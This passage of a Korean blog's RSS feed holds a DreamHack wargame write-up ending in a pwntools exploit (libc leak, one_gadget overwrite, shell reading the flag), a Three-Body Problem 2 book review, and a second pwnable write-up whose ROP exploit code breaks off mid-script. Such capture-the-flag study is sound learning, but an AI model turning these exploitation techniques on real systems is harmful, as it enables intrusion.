&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #202020;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;5. 익스플로잇 코드&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1786703606736&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
import time

p = remote(&quot;localhost&quot;, 8888)


p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
p.sendlineafter(b&quot;type: &quot;, b&quot;dog&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;\x7e&quot;*0x19)

p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
p.sendlineafter(b&quot;sent&quot;, b&quot;1&quot;)
start_time = time.time()

sleep_time = 4.00 - (time.time() - start_time)
print(f'sleep for {sleep_time}')
time.sleep(sleep_time)


p.send(b&quot;hamster\n&quot; + b&quot;\x7e&quot;*0x9)
print(time.time() - start_time)
time.sleep(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
time.sleep(1)
p.sendafter(b&quot;name: &quot;, b&quot;a&quot;*0x40)

print(2)
p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
p.recvuntil(b&quot;sent &quot;)
p.recv(0x40)
libc_call_main = u64(p.recv(6) + b'\x00'*2)
libc_base = (libc_call_main - 0x0000000000029d90)

one_gadget_Real = libc_base + 0xebd43
time.sleep(5)
print(3)
p.sendline(b&quot;3&quot;)
p.sendafter(b&quot;name: &quot;, b&quot;a&quot;*(0x40-8) + p64(libc_base) + p64(one_gadget_Real))

p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;4&quot;)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 결과&lt;/h3&gt;
&lt;pre id=&quot;code_1786703644527&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ python exploit.py 
[+] Opening connection to localhost on port 8888: Done
sleep for 3.999999523162842
4.000277042388916
2
3
[*] Switching to interactive mode

&amp;gt; $ ls
flag
petpals
$ cat flag
DH{**flag**}
$&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7. 변명 아닌 변명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단, 리버싱을 하는데 하루를 소요했고, 익스 코드를 작성하는데 이틀을 소요했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버싱은 현재 군 환경이기 때문에 gdb만 사용할 수 있기 때문에 일일이 main함수를 찾고, 출력하고, 수동으로 리버싱 과정을 거쳤다. 이때, 레이스 컨디션 취약점을 찾고 시나리오를 구성했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익스 코드 작성은 실제 코드를 작성하면서 시나리오 구성대로 코드를 작성하는데는 큰 시간이 걸리진 않았지만 타이밍 딜레이를 해결하는게 꽤 시간이 걸렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 이렇게 드림핵 익스를 성공하지 못했는데 블로그 글을 작성하는 이유는 이 문제를 거의 2주 정도 가지고 있기 때문이다. 도저히 방법이 생각나지 않아 지금까지의 생각의 흐름을 블로그에 기록해놓고 나중에 다시 문제를 잡았을 때 흐름을 그대로 잇기 위함이다.&lt;/p&gt;</description>
      <category>보안/시스템해킹</category>
      <category>DreamHack</category>
      <category>pet pals</category>
      <category>petpals</category>
      <category>pwnable</category>
      <category>드림핵</category>
      <category>시스템해킹</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/37</guid>
      <comments>https://code-learn-ing.tistory.com/37#entry37comment</comments>
      <pubDate>Fri, 14 Aug 2026 19:49:47 +0900</pubDate>
    </item>
    <item>
      <title>[독서 기록] 삼체2: 암흑의 숲</title>
      <link>https://code-learn-ing.tistory.com/36</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;삼체 2 암흑의 숲 책을 읽었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 책을 읽게 된 계기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금껏 계기를 계속 써왔기에 적고 있지만, 읽은 이유는 간단하다. 삼체 1을 재밌게 읽었고, 그래서 뒷 내용이 궁금했고, 그래서 삼체 2를 읽었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 벌레다 라고 끝났고, 앞으로 그 벌레인 인간이란 존재가 어떻게 삼체에 대응하는지가 궁금했다. 이번 편에서 어떻게 그 과정을 풀지가 궁금했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 간략 줄거리 &amp;amp; 생각정리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;줄거리는 역시, 나무위키나 넷플을 보는 게 정확할 거다. 그래서 줄거리보다는 읽으며 각 파트별로 내가 든 생각과 감정 등을 정리하려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;삼체에서 군함이 오고있다. 또, 무인 탐측기도 보냈다. 무인 탐측기는 속도가 더 빠르기에 남은 시간은 더 줄었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이에 어떻게 대응할것인가로 나온 것이 면벽자. 타일러, 레이디아즈, 하인즈가 면벽자로 선정된다. 면벽자는 남들에게 자신의 생각을 내보이지 않고 삼체인에게 생각을 들키지 않고 이들에게 맞서기 위한 방법을 구상하고 실행하는 사람들이다. 어찌 보면 당연한 이야기일 수 있지만, 정치, 과학 쪽으로 유명한 인사들이다. 그리고 한 명이, 이 책의 중심인 뤄지 박사이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;뤄지는 유명하지 않았다. 우주사회학을 연구하던 사람으로, 평범하게 살던 사람이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이부분에서 프로젝트 헤일메리가 생각났다. 그간 중요하게 생각하지 않던, 유명하지 않던 사람이 중요한 임무를 받게 된다. 당연한 소설의 전개이면서도 프로젝트 헤일메리와는 구성이 달랐다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;잠깐 헤일메리 얘기를 해보면, 시점을 기준으로 두 개의 시점이 번갈아 가며 주인공이 선발된 이유와 그 위치에 있는 부분이 서서히 드러나는 방식이었다. 하지만, 이번엔, &quot;넌 중요한 사람이야. 삼체에서 널 노려. 근데 왜인지는 아무도 몰라. 삼체인들만이 그것을 알고 있어.&quot;라고 하여 궁금증을 더 높인 것이다. 이 때문에, &quot;삼체인에게 도대체 뤄지가 무엇이 위험이 되는가?&quot;, &quot;뤄지의 우주사회학이 위협이 될 이유가 뭔가?&quot;에 대해 계속 생각하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;또, 이후엔 파벽자가 등장한다. 삼체인은 생각과 말하는 것이 동일한 존재이다. 다시 말하면 생각하는 것을 숨길수 없다. 그 때문에 지구의 인간의 속내를 인간의 행동을 통해 유추해 내는 것이 인간에 비해 약하다. 그 때문에 삼체인을 신봉하는 삼체 조직사람들이 파벽자로 지정받는다. 이들은 면벽자의 생각을 알고 이를 막는 역할이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이후, 뤄지는 면벽자의 권한으로 좡옌을 만나게 되고 서로 사랑하게 되는데 썸 타는 단계에서 좀 아쉽다?라고 할만한 부분이 있다. 계속 &quot;이런 일이 있다. 속마음: '넌 ~~' &quot;이런 형식으로 소설이 진행되는데 &quot;AI인가? 아니면 뭐, 일부러 이렇게 쓴 이유가 있나? 좀 거슬린다. 흐름이 끊긴다.&quot;라는 느낌을 받았다. 그 부분을 감수하고 읽으면 참 재밌는 로맨스 소설 같았다. 좡옌은 뤄지의 상상 속의 인물과 거의 흡사하다고 나오며, 정말 아름답게 묘사가 된다. 뤄지가 상상 속에서 만든 이상형이 현실의 인간으로 구현되는 것이었다. 하지만, 넷플릭스 삼체 시리즈에서는 좡옌이 등장하지 않는지 찾아봐도 나오지 않아 좀 아쉬움이 남았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;다시 면벽자 얘기로 가면, 타일러는 굉원자, 레이디아즈는 핵, 하인즈는 뇌 과학을 중점으로 삼체인과 싸울 방법을 모색한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;책에는 이런 말이 나온다. &quot;우주에 삼체 외에 다른 관찰자가 존재한다면 지금 지구의 위치가 알려졌을까요?&quot; 책의 대답은 이것이다. 정확한 위치를 알수는 없다. 하지만 대충의 위치는 알 수 있을 수도 있다. 이 부분을 읽으며 또, 프로젝트 헤일메리가 생각났다. 헤일메리에는 이렇게 나온다. &quot;서로 비슷한 수준의 기술이어야 서로를 알아챌 수 있다.&quot; 이에 맞춰 생각을 해보자면, 우리보다 월등히 뛰어나다면 굳이 지구를 왜 찾아오나? 혹은 이미 지구의 존재를 알고 이미 파괴를 하지 않았을까. 우리보다 월등히 낮다면 신호를 받지도 못했을 것이다. 하지만, 이 삼체라는 책을 읽으며 이 생각은 좀 바뀌게 되었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;각 면벽자들은 인류의 보편적 생각에 반하는 방법을 생각하다가 파벽자에게 들켜 자살하거나, 죽거나, 발을 빼게된다. 이 것은 스포가 될 수 있으니 궁금하면 따로 찾아보도록 하자. 짧게 말하면, 굉원자 : 양자유령, 핵: 태양 추락, 뇌과학: 세뇌 정도이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이때, 타일러의 방법이 실패하는데, 이를 하인즈의 방법과 합치면 가능한 방법이었기에 왜 타일러가 그러한 선택을 했는지에 대한 의문이 들었다. 그래도 뭐, 인류에 반하는 방법을 모색했고, 이를 들켜 죄책감이라고 현재는 생각하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;뤄지는 자신의 전략을 실행하고 결과를 확인하기 위해 동면에 든다. 이때, 같이 동면에 든 장베하이라는 우주군이 있는데 이 사람은 정말 삼체와의 싸움에서 절대적인 승리 신념을 가진 것처럼 나온다. 물론, 나중 가면, 정말 현실적인 사람인 것이 나오고, 어찌 보면 그간 보여준 승리 신념에 반하는 모습이었다. 하지만, 사람들 앞에서 보여준 승리의 신념은 대단하다고 표현하는 것이 부족할 정도로 멋있었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이후 삼체의 탐측기가 지구 근처에 도착한다. 지구는 그들이 가진 기술로 극한의 효율로 우주선을 만들었었기 때문에 오만했고 자만했다. 탐측기는 이 오만과 자만을 깨버렸다. 나도 읽으며 혹시라고 생각했지만 역시는 역시였다. 그때 나오는 말 &quot;내가 당신을 사랑하는 것이 당신과 무슨 상관이겠는가?&quot;를 변형한 &quot;내가 너희를 멸망시키는 것이 너희와 무슨 상관이겠는가?&quot; 이를 보고, 삼체 1에서 읽은 &quot;너희는 벌레다&quot;와 같은 느낌을 받았다. 소설속 지구인들이 느낀 절망감을 비슷하게 느낀 것 같다. 소설을 읽으며 숨을 나도 모르게 죽이게 되고, 손에 땀이 나는 건 처음이었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이후, 뤄지는 자신의 계획이 성공했음을 알고, 삼체인과 대적하는데, 핵을 이용하긴 한다. 타일러의 기술이 결국 지구를 살리긴 했다. 이 계획이 간략하게 말하면 &quot;너 죽고 나 죽자&quot;인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;뤄지의 우주 사회학에는 2가지 명제가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 1. 생존은 문명의 첫 번째 필요조건이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 2. &lt;span data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px; text-decoration: none; border-bottom: 0px none rgb(10, 10, 10);&quot; data-sfc-root=&quot;ep&quot; data-sfc-cp=&quot;&quot;&gt;문명은 끊임없이 성장하고 확장되지만 우주의 물질 총량은 불변한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;이를 토대로 뤄지는 다음과 같은 결과를 낸다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;어찌보면 스포일 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&quot;물질의 총량은 불변한다. 생존을 해야 하지만, 물질은 유한하다. 내가 알지 못하는 상대를 만났다면, 이들이 선인인지 악인인지 알 수 없다. 이 과정에서 의심의 사슬이 생긴다. 이 때문에 선인과 선인이 만나더라도 한 곳은 파괴될 수밖에 없다.&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;사실, 이 과정은 우주인간에 먼저 생긴다. 하지만 이게 우주 전체로 확장될줄은 몰랐다. 이게 지구와 삼체, 또, 그 이외의 다른 문명까지 확장되는 것에 정말 미친 듯 소름이 났다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;결말은 좀 아쉬웠다. &quot;지금껏 쌓아온 빌드업을 이렇게 끝낸다고? 이렇게 맥없이 끝난다고?&quot; 라는 생각이 들었다. 하지만, 한편으로는 이 시점에서 다음 삼체 3을 어떻게 전개해 갈지에 대한 궁금증도 생겼다. 사실, 삼체와의 갈등은 어찌 보면 강제적으로 해소가 되었기에 그다음 이어질 이야기와 스케일이 감도 안 왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 결론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;줄거리만 보면, 빠진 부분도 많고, 대충 설명된 부분도 많고, 이상하게 쓰인 부분도 있을 것이다. 그래서 읽어봐야 한다. 삼체 1은 심오하다는 느낌이 들었다면, 삼체 2는 도파민의 천국이다. 정말 재밌게 읽었고, 삼체 3이 기대되어 바로 구매했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;계속 떡밥을 던지고 이를 회수하고, 생각지도 못한 부분에서 이후 이야기와의 교점을 찾게 되었을 때 정말 엄청난 쾌감을 느끼게 될 것이다. 우주 사회학의 2개의 명제로 우주를 설명하는 과정, 희망과 절망, 다시 또 희망을 보며 나도 모르게 소설 속 인물에게 나를 대입하고 있는 것을 알게 될 것이다. 또, 지구와 인간은 우주에서 얼마나 작은 존재인지, 얼마나 힘이 없는 존재인지 느끼게 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;그래서 이제 궁금하다. 벌레처럼 작았던 인간이 삼체라는 큰 벌레를 통해 우주라는 암흑의 숲을 이해하기 시작했다. 그럼 이 숲에서 또 어떤 사건들이 발생하게 될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>책/소설</category>
      <category>SF 독서</category>
      <category>삼체</category>
      <category>삼체2</category>
      <category>소설</category>
      <category>암흑의숲</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/36</guid>
      <comments>https://code-learn-ing.tistory.com/36#entry36comment</comments>
      <pubDate>Thu, 13 Aug 2026 19:22:31 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack][시스템 해킹] dreamvm</title>
      <link>https://code-learn-ing.tistory.com/35</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[문제 링크](&lt;a href=&quot;https://dreamhack.io/wargame/challenges/93&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/93&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 binary 파일 하나만 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gdb로 보면, 함수는 read_all, &lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;write_all.constprop, main이 있는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;또한,&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1784330275155&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0x0000000000400508  _init
0x0000000000400530  abort@plt
0x0000000000400540  write@plt
0x0000000000400550  __stack_chk_fail@plt
0x0000000000400560  close@plt
0x0000000000400570  read@plt
0x0000000000400580  open@plt
0x0000000000400590  main
0x0000000000400730  _start
0x0000000000400760  _dl_relocate_static_pie
0x0000000000400770  deregister_tm_clones
0x00000000004007a0  register_tm_clones
0x00000000004007e0  __do_global_dtors_aux
0x0000000000400810  frame_dummy
0x0000000000400817  read_all
0x000000000040085c  write_all.constprop
0x00000000004008a0  __libc_csu_init
0x0000000000400910  __libc_csu_fini
0x0000000000400914  _fini&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;checksec은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1784330293681&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;File:     /workspaces/dreamhack-practice/dreamhack/dreamvm
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;2. 코드 흐름&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;main 함수의 흐름을 따라가면 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;1. 사용자에게 받은 argv가 2가 아니라면 사용자로부터 입력을 받고, argv가 2라면, agrv[0]의 파일 이름을 open하여 read 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; &amp;nbsp; 이때, 입력은 0x100만큼 받게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;2. 입력받은 값은 vm의 opcode가 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; * 사전 구조 설명 : &lt;span style=&quot;background-color: #ffffff; color: #202020; text-align: start;&quot;&gt;$rsp+0x1008엔 현재 최고 스택주소, $rsp+0x1010엔 데이터가 저장되어있다. 이를 간단하게 $rsp+0x1008을 sp, $rsp+0x1010을 dt라고 하겠다.&amp;nbsp;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; - opcode 1: push - dt의 데이터를 sp-8의 위치에 저장하고 sp를 -8한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; - opcode 2: pop - sp의 데이터를 dt로 가져오고, sp를 +8한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; - opcode 3: add value : 사용자로부터 데이터를 입력받아 dt에 값과 더해 dt에 저장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; - opcode 4: add sp : 사용자로부터 값을 입력받아 sp에 값을 더해 sp에 저장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; - opcode 5: write dt : dt의 값을 화면에 출력한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #202020; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp; - opcode 6: read - 사용자로부터 값을 입력받아 dt에 저장한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. sp가 main함수에 할당된 최대 메모리보다 큰지, dt의 주소와 같은지 검사하며, opcode는 0x601040부터 시작하여 0x601137까지이다. sp 검사 혹은 opcode 검사에서 검증 실패가 생기면 opcode 순회를 종료한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 시나리오 구성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. bof : 가장 기본적인 공격이다. sp의 위치를 ret의 주소로 하여, 변조를 일으킬 수 있다. stack leak을 하여, ret의 주소를 구하고, sp의 검증이 약한 것을 이용하여 sp를 ret로 하여 push하면, ret의 주소가 원하는대로 바뀔것이다. 이 방법에는 문제가 있다. stack leak도 할 수 있고, ret 주소를 구해 push도 할 수 있으나, 문제에서 libc를 제공하지 않아 어떤 libc를 사용하고 있는지 파악하여야한다. 이후 해당 libc를 구해 one gadget을 구하여야하는데 libc를 leak하더라도 base가 정확히 무엇인지 알기 힘들다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. got overwrite: got는 고정이기 때문에 해당 부분에 overwrite를 일으킬수도 있지만, full relro이기 때문에 got overwrite는 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. rop: 체인을 만들 수 있다. 결국 이 방법으로 성공하긴 하였으나, AI의 도움을 받았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 원래 생각한 시나리오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. libc leak을 하여, libc base를 구해 system함수 주소를 구한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. pop rdi; ret; 가젯을 이용해 /bin/sh를 rdi에 넣어 system 함수를 호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. AI가 제공한 시나리오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이미 main 함수상에 flag를 읽기 위한 모든 함수가 존재한다. close, open, read, write를 조합하여 rop 체인을 구성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 익스플로잇&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 opcode 0x100 바이트를 넣어야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 opcode는 sp에 0x8 * 32 + 48이다. 여기서 48은 sp인 $rsp+0x1008에서 48만큼 더하면 ret 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0x8 * 32는 이후, rop 체인에서 read 8byte를 32번 할 것이기 때문에 이만큼 stack주소를 더해 ret에 정확하게 overwrite될 수 있게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후, read(), push()를 32번 진행한다. 이는 앞서 설명한 대로, rop체인을 사용자로 부터 입력받기 위함이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;임의로, 0x80 offset에 flag 텍스트를 넣도록 하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rop chain은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;close(3) : 0은 stdout, 1은 stdin, 2는 stderr라 한다고 한다. 이후, 파일 open은 이후 숫자부터 들어가게 되고, 혹시 열려있을수도 있는 3을 close 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;open(&quot;flag&quot;): flag파일을 열어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read(3, 0x601020, 0x100): 3의 위치(open한 파일)을 0x100만큼 0x601020에 저장한다. 심볼상으론 completed라고 되어있는데 사용하는 함수는 찾지 못하여 이곳에 저장하겠다. opcode와 겹치긴하지만, 이미 opcode 순회는 끝난 rop 체인에 들어온 상태이므로 상관 없이 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;write(0, 0x601020, 0x100) : 화면에 read한 결과를 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7. 코드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드로 작성하면 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1784331629701&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

#p = process(&quot;./dreamvm&quot;)
p = remote(&quot;host3.dreamhack.games&quot;, 23841)
e = ELF(&quot;./dreamvm&quot;)

writeGot = e.got[&quot;write&quot;]
readGot = e.got[&quot;read&quot;]
closeGot = e.got[&quot;close&quot;]
openGot = e.got[&quot;open&quot;]

caller = 0x4008e0
setter = 0x4008fa

def push():
    p.send(b&quot;\x01&quot;)
def pop():
    p.send(b'\x02')
def addValue(value):
    p.send(b'\x03')
    p.send(value)
def addStackPointer(pointer):
    p.send(b'\x04')
    p.send(pointer)
def write():
    p.send(b'\x05')
def read():
    p.send(b'\x06')
def eof():
    p.shutdown(&quot;send&quot;)


sended =0
addStackPointer(p64(8*32+48))
sended += 9

for i in range(8*4):
    read()
    push()
    sended += 2

p.send(b'\x00')
